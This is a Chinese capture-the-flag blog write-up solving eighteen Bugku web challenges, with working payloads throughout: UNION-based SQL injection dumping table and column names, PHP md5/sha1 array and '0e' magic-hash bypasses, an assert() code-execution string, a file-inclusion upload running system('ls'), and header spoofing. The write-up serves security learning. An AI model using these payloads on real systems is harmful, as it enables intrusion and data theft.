ctf题目writeup(7)
2019.2.10
过年休息归来,继续做题。
bugku的web题,地址:https://ctf.bugku.com/challenges
1.
http://123.206.87.240:8002/web16/
提示是备份,不由自主想到bak。这里可以扫路径或者自己多试试:
http://123.206.87.240:8002/web16/index.php.bak 就是备份,直接保存下来。
打开后是一段源代码:
大概意思就是,获取key1和key2,但是会过滤掉你输入的key。
然后如果两个key的md5相等,且两个key本身不相等,就会打印出flag的值。
在这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。
而在php中,md5函数无法处理数组,返回的都是null,两个null也是相等。
所以构造payload:
http://123.206.87.240:8002/web16/?kekeyy1[]=sss&kekeyy2[]=xxx
(key后面的值随便写就ok)
Bugku{OH_YOU_FIND_MY_MOMY}
2.
http://123.206.87.240:8002/chengjidan/
输入1的时候是这样(这个submit是post方式)
加个'
这里猜下,总共四列 (名字,三科目)
1' union select 1,2,3,4#
都有回显,于是 构造 -1' union select 1,2,3,database()# (用1爆不出来)
获取数据库名称:
之后通过 -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc
然后获取flag中的字段,这里需要16进制绕过一下:
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#
所以我们最终要获取的就是 skctf_flag数据库中 fl4g表中 skctf_flag字段的值。
构造payload;
-1' union select 1,2,3,skctf_flag from fl4g#

BUGKU{Sql_INJECT0N_4813drd8hz4}
3.

http://123.206.87.240:8002/qiumingshan/
这道题应该就是 脚本提交post数据的方式,还需要在两秒内。就得获取页面上的数字和运算法则。
所以直接脚本:
mport requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
其中用到正则表达式,其实就是匹配 十进制数加上四则运算符号加上十进制数 这样的形式。
然后直接用python 内置的 eval方法,可以直接把文本提取为计算式。
至于为什么要post value,可以多刷新几遍网页:

最后运行脚本:

Bugku{YOU_DID_IT_BY_SECOND}
4.

http://123.206.87.240:8002/web6/

查看页面源代码也没什么值得注意的,抓包试试。

放到repeater中 go一下试试:
多go几次,发现每次的flag都不一样。做到这步大概就是得写脚本了。思路就是 提取 header中的flag值,然后构造 margin = flag值 这样的数据,post一下,获得返回内容就能得到flag。
脚本:
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":") + 2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content
这里要注意的是,flag是base64加密,解密后还是一个base64,需要进行两次解密。 这个在py2.x可以运行,py3需要将byte与str进行转换。

5.

http://123.206.87.240:8002/web11/
打开后这样,字符没什么意义,页面源代码也没其他的东西。
看url filename后面的好像是base64编码:
解码:
那就根据这个原理访问其他页面,比如要访问index.php,就先把它base64加密:
filename =aW5kZXgucGhw
访问后页面是空的,查看源代码是这样的:
猜想大概是这个 line= 起到作用,
不妨写个脚本跑出来所有代码:
import requests
a=30
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
得到的代码:
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>
从代码后半段可以看到,有一个keys.php的页面,应该是我们想要的。而且还有个判断,就是我们的cookies 要等于 margin
keys.php base64加密后:a2V5cy5waHA=
抓个包,然后放到repeater里面go一下:
KEY{key_keys}
6.
http://123.206.87.240:8006/test/hello.php
打开后查看源代码:
然后直接访问 ...../test/1p.html (查看源代码的页面 view code)
发现一段base64 解密:
解密后是段php:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
} ?>
尝试直接访问 f412a3g.txt (还是上面的那种访问方式)
...../test/f412a3g.txt
flag{tHis_iS_THe_fLaG} 7.
打开后没什么可利用的信息,那就好好看看给的提示:
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>
exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。
所以这里构造payload:
?s=print_r(scandir('./')) (扫描当前目录并按数组形式输出)
这里直接访问 f94lag.txt就行了:
BUGKU{bugku_web_009801_a} 8.
对于正则表达式我是不了解的。。。详情学习了这篇文章,写得非常的细致:
https://blog.csdn.net/qq_26090065/article/details/81605837
key is: KEY{0x0SIOPh550afc}
9.
http://123.206.31.85:49162/
打开后不禁想起了自己的前女友=。=。。。
查看页面源代码:
打开这个code.txt
和之前的一道题蛮像的,还是php 中md5函数无法对数组进行运算。
构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3
SKCTF{Php_1s_tH3_B3St_L4NgUag3}
10.
http://123.206.31.85:49163/
sql约束攻击 大多就是 字符串长度的约束
比如 user = admin 1
和 uset = admin 会被数据库识别成一样的 (看它的约束条件是什么样)
所以这道题,先注册一个 admin 的账号(有个空格,你注册几个空格的都可以)
然后用admin登陆,用你注册的密码就行了:
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
11.
http://123.206.87.240:9009/from.php 打开后这样:
看页面源代码也没别的东西,猜测是抓包改下头部什么的,改成外国的,或者谷歌啥的。
这里抓包,修改 Referer 为 https://www.google.com 就行了:
flag{bug-ku_ai_admin}
12.
这里找了下 md5碰撞的原理:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
所以构造a= 以上的一种 就可以:
比如:
http://123.206.87.240:9009/md5.php?a=s878926199a
flag{md5_collision_is_easy}
13.
http://123.206.87.240:8002/localhost/
页面源代码没有东西。他既然说本地访问了,那就抓个包 用 X-Forward-For: 127.0.0.1试试;
flag{loc-al-h-o-st1}
14.
http://123.206.87.240:8002/web7/
代码意思就是,id需要等于margin,然后用户名和密码不能相同,但是sha1后要相同(类似于md5)
所以还是用数组的方式绕过,要注意passwd 是需要post的,所以需要用到hackbar:
Flag: flag{HACK_45hhs_213sDD}
15.
打开后这样:
刚开始以为题目坏了。。看到最近也有人解答出来,就知道事情不简单。
扫下后台把,发现了robot.txt
进入这个 resus1.php:
下面很明显,x需要等于password才行。
蒙一个admin:
搞定:
flag(ctf_0098_lkji-s)
16.
因为比较懒,直接尝试sqlmap 跑 forms形式的:
flag{ed6b28e684817d9efcaf802979e57aea}
17.
查看页面代码注释:
这里上传文件包含的php (用图片马什么的不好使。。。)
<script language=php>system("ls")</script> 新建一个文档,然后改成jpg后缀。
然后访问这个地址,要注意还是用 file= 的方式:
然后直接访问那个 长长的文件就行了:
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
18.
刚开始以为是sql注入,查路径什么的,看源代码也都没有,login点了确实没反应。
后来才知道,原来是传参,/?hint=1
这里有个坑就是 key不是下面那一串,判断的时候也 key的值是 NULL 也就是 cookie要等于 NULL的序列化的结果:
所以就抓下包,然后改cookie 就好了:
flag{unserialize_by_virink}
写到这。。。剩下题也太难了8.。。
ctf题目writeup(7)的更多相关文章
- ctf题目writeup(9)
继续刷题,找到一个 什么 蓝鲸安全的ctf平台 地址:http://whalectf.xin/challenges (话说这些ctf平台长得好像) 1. 放到converter试一下: 在用十六进制转 ...
- ctf题目writeup(6)
2019.2.2 依旧是bugku上面的题目,地址:https://ctf.bugku.com/challenges 1. 解压后是60多个out.zip,都是真加密,里面都是1kb的data.txt ...
- ctf题目writeup(5)
2019.2.1 今天继续bugku的隐写杂项题:题目链接:https://ctf.bugku.com/challenges 1. 这道题下载后用wireshark打开...看了好久也没看出个所以然, ...
- ctf题目writeup(4)
2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: ...
- ctf题目writeup(1)
2019/1/28 题目来源:爱春秋 https://www.ichunqiu.com/battalion?t=1 1. 该文件是一个音频文件: 首先打开听了一下,有短促的长的....刚开始以为是摩斯 ...
- ctf题目writeup(8)
2019.2.11 南京邮电的ctf平台: 地址http://ctf.nuptzj.cn/challenges# 他们好像搭新的平台了...我注册弄了好半天... 1. 签到题,打开网址: 查看一下页 ...
- ctf题目writeup(3)
题目地址: https://www.ichunqiu.com/battalion 1. 这个是个mp3,给的校验是为了下载下来的. 下来之后丢进audicity中 放大后根据那个音块的宽度来确定是 . ...
- ctf题目writeup(2)
2019.1.29 题目地址: https://www.ichunqiu.com/battalion 1. 点开链接: include "flag.php";$a = @$_REQ ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
随机推荐
- Bootstrap后台管理模板调研
Bootstrap后台管理模板调研 SB Admin 2(推荐) SB Admin 2是一款开源的基于Bootstrap搭建的后台管理模板,简约,易用.没有复杂的组件和花炫的设计,很质朴,但较为美观. ...
- mysql:删除表数据drop、truncate和delete的用法
程度从强到弱 1.drop table tb drop将表格直接删除,没有办法找回 2.truncate (table) tb 删除表中的所有数据,不能与where一起使用 ...
- Gecko Robotics, Inc. SE II Test OA -- 菜到扣脚
There are three problems in hackrank. two sum http request to get title binary search (find first la ...
- 构建高性能插件式Web框架
基于MVC插件模式构建支持数据库集群.数据实时同步.数据发布与订阅的Web框架系统.如下图: 1.基于插件式开发 采用插件模式开发的优点是使得系统框架和业务模式有效地进行分离,系统更新也比较简单,只需 ...
- 什么是React中的组件
组件就是页面上的一部分.如图,左边是一个网页.右边是对应的一个组件图.我们可以把一个大的网页拆分成很多小的部分.比如标题部分,对应一个组件,就是标题组件.搜索部分,对应的组件就是搜索组件.而这个搜索组 ...
- EF Ccore 主从配置 最简化
业务需要 配置一主多从数据库 读写分离 orm用的ef core , 把思路和代码写下 1. 配置2个数据库上下文 ETMasterContext ETSlaveContext(把增删改功能禁用掉 ...
- 【洛谷P3853】 [TJOI2007]路标设置
路标设置 题目链接 此题和跳石头很相似,都是二分答案,模拟判断是否可行 #include<iostream> #include<cstdio> using namespace ...
- LeetCode11.盛最多水的容器 JavaScript
给定 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点 (i, ai) .在坐标内画 n 条垂直线,垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0).找出其中的两条线, ...
- IPv4和IPv6的兼容问题
一网络拓扑 Ipv6网络1 路由器A IPv4网络 路由器B IPv6网络2 二知识补充 [注]双协议栈主机(路由器A.B)通过域名解析器区分传过来的是IPv4还是IPv6 三处理技术 双协议栈 Ip ...
- 为什么IP检验和发现错误直接丢弃而不是要求源站重发
纠错控制由上层(传输层)执行IP首部中的源站地址也可能出错,请错误的源地址重传数据报是 没有意义的